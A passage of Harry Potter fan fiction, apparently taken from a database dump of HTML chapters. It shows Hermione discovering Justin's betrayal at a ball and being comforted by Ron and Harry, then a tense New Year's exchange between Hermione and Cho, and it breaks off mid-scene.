loathing,&nbsp; &#8220;here I have been thinking that she is honest\nand good and it turns out she&#8217;s the exact opposite?&#8221; Justin abruptly stood and\nshoved his papers into his bag without sealing it, he swung it over his\nshoulder and left the library.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nwas coming down the stairs and she saw Justin rushing from his class, &#8220;Justin\nhold up a minute.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nturned glaring at her, &#8220;what do you want?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nhadn&#8217;t been imagining it, he was angry with her.&nbsp; Sure he hadn&#8217;t spoken to her since she\nstopped him the other night, she figured he was kind of upset and needed some\ntime to himself.&nbsp; &#8220;Justin are you angry\nwith me for what happened the other night? Look I told you it just didn&#8217;t feel\nlike the right time you know.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why\ndid you lie to me?&#8221; Justin glared.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Lied,\nI never lied to you about anything.&#8221; Hermione stepped down the stairs looking\nat him feeling so very confused.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nyou did, you told me those rumors weren&#8217;t true.&#8221; He almost shouted</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nstared, he was back on these rumors again, she thought they were dead and\nburied. &#8220;They aren&#8217;t, why are you believing them all of a sudden, I have done\nnothing but been totally honest and straightforward with you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndon&#8217;t believe you, how can I believe you?&#8221; Justin sounded desperate.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Justin\nI don&#8217;t understand why you don&#8217;t believe me?&nbsp;\nWhat could I have possibly done to have you mistrust me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nI don&#8217;t know, why don&#8217;t you ask your friends?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\ndoes Ron or Harry have to do with this?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t\nask me you&#8217;re the one messing around with them.&#8221; Justin was very sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nam doing no such thing, what has led you to believe that I am?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nsearched her eyes she looked like she was telling the truth, &#8220;well then if you\naren&#8217;t then why did your friend Harry approach me the other day?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What?&#8221;\nHermione looked around for a moment, then into his eyes &#8220;what did you just\nsay?&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nexplained to her what he had been told and the conversation that went on,\nHermione stared in disbelief.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nJustin it&#8217;s not true, don&#8217;t believe it.&#8221; Hermione felt her temper rising,\n&#8220;Please wait right here for me, I&#8217;ll be right back.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nI don&#8217;t know.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just\ngive me a moment, I have to go kill Harry.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nnodded and watched Hermione turn and sprint back up the stairs.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hearing\na loud and violent banging on the door Ron answered it he saw Hermione on the\nother side looking absolutely furious.&nbsp;\nHe knew who she was looking for, &#8220;Hi Hermione did you want to come in?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlooked passed Ron right at Harry, she pushed the door open walking right up to\nhim.&nbsp; &#8220;What do you think you&#8217;re doing?&#8221;\nShe crossed her arms in anger, staring at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nhad never seen his friend so angry with him before, &#8220;what do you mean?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why\ndid you say those things to Justin?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\ndid I say?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t\nplay dumb you know what I&#8217;m talking about,&#8221; Her eyes narrowed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nhad to say something to him.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why?&#8221;\nShe threw her arms up in frustration and anger.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nstared, &#8220;I don&#8217;t think Justin is the right person for you, I mean he&#8217;s clearly\ntaking advantage of you.&#8221; He looked away from her angry face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No\nhe&#8217;s not, he really likes me Harry he does.&#8221; Her gaze dropped to the floor for\na moment.&nbsp; &#8220;I know it&#8217;s probably\ndifficult for you or Ron to accept or believe the fact that someone other than\nyou two wants to be around me.&#8221; Hermione&#8217;s gaze met up with his, &#8220;I know Ron&#8217;s\ncomplaints and I know about yours, but Ron is not going up to him and feeding\nhim a bunch of lies. Why are you behaving like that?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Like\nI said he&#8217;s not right for you?&#8221; Harry said firmly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nthink I&#8217;m a better judge of who&#8217;s right for me,&#8221; she sighed, her temper\nsettling. &#8220;Harry you are my friend, and I listen to your opinions and I take a\ngreat deal of thought into what you say.&nbsp;\nBut you have no right to interfere in my personal life like that, I know\nyou meant well, but please stay out of it.&nbsp;\nWho I want to be with is my business and my business alone.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\ncould be making a terrible mistake you know?&#8221;&nbsp;\nHis eyes narrowed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;If\nI am, then it&#8217;s my mistake to make.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nif it turns out that way, and you find out the truth about him then don&#8217;t come\ncrying to Ron or I because you told us not to get involved in your personal\nlife.&#8221; He was bitter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s\neyes narrowed &#8220;fine if you want to be an ass about it.&nbsp; Just stay out!&#8221; She turned on her heels and\nleft the room slamming the door behind her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It\nwas the third time he stepped on her toes, and he could see she was getting\nmad.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay\nthat&#8217;s enough, maybe we should sit this one out.&#8221; Cho said and she took Harry&#8217;s\nhand walking back to the table.&nbsp; She sat\ndown.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nshook his head and sat down next to her, he looked through the students finding\nHermione looking for someone herself.&nbsp; He\nsaw Fred go up to her handing her a cup of punch. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Here,&#8221;\nFred said with a smile. He noticed her troubled look and his smile faded &#8220;so he\nhasn&#8217;t come back yet?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nshook her head, &#8220;It&#8217;s really strange, he said he would be right back and it&#8217;s\nbeen at least a half hour or more.&#8221;&nbsp; She\nlifted up the sleeve on her lavender robe and looked at her watch, &#8220;I have a\nreally bad feeling.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nwalked into the great hall with a grave expression on her face, she saw Ron\nsitting with Lavender, Harry and Cho.&nbsp;\nShe was still looking for Hermione. She lifted her head and scanned the\nwhole room, there she was standing by the refreshment table talking to\nFred.&nbsp; Ginny quickly rushed up to\nher.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both\nHarry and Ron followed Ginny with their eyes, Ginny pulled on Hermione&#8217;s arm getting\nher attention, Harry noticed how much taller Hermione was than Ginny, <i style="mso-bidi-font-style:normal">when did that happen?</i> He thought.&nbsp; &#8220;Ron how tall is your sister?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndon&#8217;t know maybe five three or four something like that, why?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Harry shook his head, &#8220;I was just wondering,\nthat&#8217;s all.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nput her mouth next to her ear and started talking to her.&nbsp; Hermione&#8217;s head snapped towards Ginny, her\neyes wide with horror.&nbsp; She looked\ntowards the great hall doors and sprinted leaving through them.&nbsp; Ginny started to run after her.&nbsp; But when she passed by Ron, he quickly\ngrabbed her arm.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Gin\nwhat&#8217;s going on?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nlooked towards the doors and then back at Ron, she didn&#8217;t say anything\nshrugging her shoulders. She pulled her arm from his grasp and ran for the\ndoors as well. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;Something is wrong.&#8221; Ron said to Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;If\nit has something to do with Hermione and Justin then I don&#8217;t want to know about\nit. We are not suppose to get involved remember.&#8221;&nbsp;&nbsp; Harry said looking towards the doors and\nthen back at Cho who was smiling at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Actually\nit was only you who was not supposed to get involved; I&#8217;m still on her good\nside.&#8221; Ron smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nthat&#8217;s the last time I ever help her, she doesn&#8217;t realize how sneaky that\nJustin Finch-Fletchley is.&nbsp; She&#8217;ll just\nhave to learn the hard way and face the music on her own.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Would\nyou like to take a walk with me Harry.&#8221; Cho asked with a sly smile trying to\nget his attention off of his female friend.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nnodded, &#8220;sure.&#8221; They both stood.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nwatched them go out the doors, he then stood. He was going to find out what all\nthe trouble with Hermione was about.&nbsp; He\nwent through the doors hearing thunderous footsteps along the hall upstairs\nhearing a door slam and open again. Someone was screaming apologies very fast\nand very loud.&nbsp; Ron turned to find Harry\nand Cho just staring up at the stairs watching Hermione who was now running\ndown with Justin chasing after her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione\nplease wait, I can explain everything.&#8221; Justin was trying to keep up with her a\nclear desperation in his voice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nspun glaring with angry tears in her eyes, &#8220;fuck off. Oh wait you were already\ndoing that!&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It\ndidn&#8217;t mean anything.&#8221; He stared at her on the lower step, &#8220;honest.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\ncouldn&#8217;t think of anything to say all she did was shake her head back and\nforth, &#8220;oh God!&#8221; She finally said her voice was strained, full of hurt and\nbetrayal.&nbsp; Hermione turned and started\ndown the stairs again. She raced towards the main doors of Hogwarts pulled them\nopen running out into the night air.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nstared at the open doors she just went through he had made the worst mistake of\nhis life.&nbsp; He lost the girl he admired\nfor so long, only because he gave into his cravings with that Blaise. He kicked\nthe wall next to him, Justin looked down and found many pairs of eyes on him,\nespecially the very angry gazes of Hermione&#8217;s friends, Cho had a slight amused\nexpression on her face.&nbsp; He turned and\nwalked slowly back up the stairs, he didn&#8217;t want to mess with them right now,\nthey looked like they were going to really hurt him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlooked towards the open doors of Hogwarts &#8220;I&#8217;ll see you two later.&#8221;&nbsp; He said and swiftly left through them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Harry turned to Cho, &#8220;I think we should have\nour walk later.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Cho\nput her hands on her hips, &#8220;why?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nreally should go with Ron and see what all the trouble was about.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Cho&#8217;s\neyes narrowed, she knew he was going to run to that Hermione girl. &#8220;Well\nalright Harry, just make it quick.&#8221; Cho forced a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nreturned the smile and placed a tender hand on her shoulder then went out the\nmain doors.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nsaw a figure sitting on a bench looking straight ahead, he knew it was\nHermione.&nbsp; He walked over to her, &#8220;Is\nthis seat taken?&#8221;&nbsp; He smiled, he could\nhear the music from the great hall, the ball was still going strong.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlooked up at him, tears streaked down her cheeks. She moved over a bit and Ron\nsat down next to her. &#8220;Ron what are you doing? I&#8217;m not suppose to be running to\nyou guys.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Actually\nI came running to you, so it doesn&#8217;t count.&#8221;&nbsp;\nHe looked at her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nshook her head, &#8220;what&#8217;s the matter with me, why wasn&#8217;t I enough for him?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nput an arm around her, and she leaned placing her head against his shoulder.\n&#8220;Hermione it is not you at all, Justin is a fool.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nthen why do I feel like the fool?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nwish I knew what to say Herm, but what I do know is that this will pass. You\nwon&#8217;t feel like a fool for long.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nhope you&#8217;re right.&#8221; Hermione pulled her head from off of Ron&#8217;s shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nstood &#8220;are you coming back inside?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlooked up at him &#8220;no, I&#8217;m going to stay out here longer.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t\nstay out here too long you might catch a cold.&#8221; Ron smiled and then turned to\nwalk back into the school.&nbsp; He saw Harry\ncoming towards him, &#8220;what are you doing here, I thought you were taking a walk\nwith Cho?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nstill going to, just a little bit later.&#8221; He looked towards Hermione &#8220;Is she\nalright?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nnodded &#8220;she&#8217;ll live, it&#8217;s not entirely the end of the world.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nlooked passed him as Hermione stood crossing her arms protectively, hugging\nherself staring out at the lake. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are\nyou going to talk to her?&#8221; Ron wondered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes,&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And\nwhat did you tell her recently that she better not come crying to us.&nbsp; Yet you are still going to her in her time of\nneed?&#8221; Ron held back his laughter. &#8220;And what were we just talking about?&#8221;<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ron\nplease shut up.&#8221; Harry was sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nshook his head back and forth and started back towards the school.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\napproached Hermione who obviously didn&#8217;t know he was standing there.&nbsp; &#8220;Hermione?&nbsp;\nSeeing her turn and look at him, it was pure agony seeing her like this.\nHe held his arms out &#8220;come here.&#8221;&nbsp; He\nnoticed she didn&#8217;t move only stared at him, probably remembering what he had\nsaid to her before. &#8220;I take back what I said, come here. Please?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nwent to him, and felt his arms close around her.&nbsp; She rested her head against his\nshoulder.&nbsp; It was the most wonderful\nfeeling, but he would soon let her loose and go off with Cho.&nbsp; What another heartbreaking thought.&nbsp; But he wasn&#8217;t going to Cho right now, and\nHermione would hold on to him as long as she could.&nbsp; Her embrace tightened, she wasn&#8217;t going to\nlet him go just yet.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Now\nhe really noticed her height, wow she was just about as tall as he was.&nbsp; He glanced down the length of her wondering\nhow her height was practically keeping up with his.&nbsp; Would he ever be taller than her?&nbsp; He thoughts went to Cho being just about as\ntall as Ginny, and it wasn&#8217;t a bad thing that Cho was small.&nbsp; He always had to bend down so much to hug or\neven kiss her.&nbsp; &#8220;Will you be alright?&#8221;\nHarry asked quietly, returning his attention to his brokenhearted friend.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nnodded a little, &#8220;I&#8217;ll get through it I know I will.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndon&#8217;t know what happened, but I can make a guess.&#8221; Harry tightened his arms\naround her more, wondering if he was even making her feel slightly better.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Your\nguess would probably be correct,&#8221; she sighed.&nbsp;\n&#8220;I saw him with that, that&#8212;&#8221; She couldn&#8217;t finish her thoughts out loud.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nat least you know the truth about him now, right?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nnodded, &#8220;I suppose I should have listened to you in the first place, and I\nwouldn&#8217;t be feeling this way right now.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now\ndon&#8217;t gloat or anything, but you were right. I shouldn&#8217;t have tried to\ninterfere in your personal life.&nbsp; I\nprobably should have kept my mouth shut, but you know I worry about you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow you do.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">From\nthe top of the stairs Cho crossed her arms, she was not happy.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">=====</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Uh-Oh\nCho knows something is up, she&#8217;s not stupid.&nbsp;\nShe&#8217;s a Ravenclaw remember.&nbsp;\nAnyway stay tuned for Chapter 9 Fifth year Reminiscing part two.\nScandalous Hermione? Please Read and Review, thanks Ryoko</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(41, 9, ' <p>Alright all the Harry Potter characters belong to J.K. Rowlings, except for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,, Leelee, Kai, Finley and Orvin.&nbsp; Those are mine. So please don&#8217;t sue me because I don&#8217;t have anything</p>\n\n<p>Chapter 9 -- Fifth Year Reminiscing, Scandalous Hermione?</p>\n\n<p>&nbsp;&#8220;How many minutes till <st1:time minute="0" hour="0">midnight</st1:time>?&#8221; Cho asked with a smile.</p>\n\n<p>Harry lifted up his wrist, &#8220;about fifteen.&#8221; He turned, looking at her.&nbsp; He saw Hermione come outside talking with Ginny.&nbsp; He saw her wave with a smile and he waved back.&nbsp; </p>\n\n<p>Cho turned to see what he was waving at, she narrowed her eyes in his friend&#8217;s direction, she did not like that girl at all.&nbsp; She felt a bit relieved when Ron came up and started talking to the two girls. </p>\n\n<p>Ginny smiled and left Hermione to talk with her brother.&nbsp; </p>\n\n<p>Ron and Hermione walked over to where Harry and Cho were sitting, &#8220;hey you two.&#8221; Ron nodded with a smile.</p>\n\n<p>Cho smiled trying to control her anger when she looked at Hermione, <i>how I hate you</i> She thought to herself.&nbsp; &#8220;So what brings you two out here? The party is inside.&#8221;&nbsp; She said to Hermione. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know that party is inside it was just getting too stuffy, we needed some air.&#8221; Hermione replied.</p>\n\n<p>&#8220;Well I didn&#8217;t think that you would find anything worth while doing here, um. I can&#8217;t ever seem to remember your name.&#8221; Cho smirked up at Hermione.</p>\n\n<p>&#8220;I have no problem remembering yours,&#8221; <i>it reminds me of dog food</i> Hermione thought to herself with a smirk creeping across her face as well. </p>\n\n<p>&#8220;Well I see you didn&#8217;t bring a date to the party.&#8221; </p>\n\n<p>&#8220;Actually I came with Ron.&#8221; She smiled patting him on the shoulder.</p>\n\n<p>&#8220;Oh that&#8217;s right, well I mean since you&#8217;re doing him you might as well show up in public with him.&#8221; Cho grinned feeling she had cut her down. She heard Ron cough and Harry warning her to stop it.</p>\n\n<p>Hermione folded her hands in front of her looking down at Cho not even phased by what she said, &#8220;oh Cho how funny you think you are.&nbsp; I happen to know you started those very interesting rumors about me since you are a big gossip.&nbsp; And I know why you did,&#8221; Hermione leaned down close to her ear so that only Cho could hear her, &#8220;In those rumors you started you have me also sleeping with Harry, and you must really think that&#8217;s true.&nbsp; You are intimidated by the fact that I have a better, stronger friendship with him then you will ever have.&#8221;&nbsp; She stood up straight, &#8220;I would advise you not starting any more rumors about me, it could blow up in your face.&#8221;</p>\n\n<p>Cho&#8217;s glare was downright evil as she saw the smug look on Hermione&#8217;s face, knowing that she was probably right.&nbsp; She watched with pure hate as Hermione and Ron walked away from her and sat down on the next bench available. </p>\n\n<p>Harry looked at Cho with disappointment, &#8220;Cho can&#8217;t you at least try to get along with Hermione?&#8221;</p>\n\n<p>Cho just ignored him and looked out at the stars.&nbsp; She heard Ron start a conversation with Hermione.</p>\n\n<p>&#8220;So now that you and Justin have parted ways, you have no one to give that famed New Years kiss to.&#8221;</p>\n\n<p>Hermione turned and looked at him, &#8220;Yep, it sure looks that way.&#8221;</p>\n\n<p>Ron thought a moment, &#8220;you know there&#8217;s always me.&#8221; He smiled.</p>\n\n<p>A loud cough came from within her, she tried to cover it up with laughter.&nbsp; &#8220;What, Ron are you serious?&#8221;&nbsp; She looked away. </p>\n\n<p>&#8220;Yes,&#8221; He was offended, &#8220;well it&#8217;s not entirely a disgusting thought is it? I mean we have been friends awhile and you don&#8217;t have anyone, and I don&#8217;t have anyone. And it would only be this once since it is New Years.&#8221;</p>\n\n<p>She turned and looked at him &#8220;well, alright. I don&#8217;t see why not.&#8221;</p>\n\n<p>Cho lifted Harry&#8217;s wrist and looked at his watch, she tapped him on the shoulder and he looked down at her, &#8220;it&#8217;s almost time.&nbsp; If you want we can start a little early.&#8221;</p>\n\n<p>Harry smiled, his arms went around her and he pulled her close.&nbsp; He had been waiting all day to kiss her, she never let him in public. He wondered what was up with that.&nbsp; But it didn&#8217;t matter he would get to do it now.&nbsp; His lips came down against hers, her mouth was soft and gentle as she opened it slightly.&nbsp; It was as if she didn&#8217;t want to put all her heart into it.&nbsp; If she had feelings for him then why 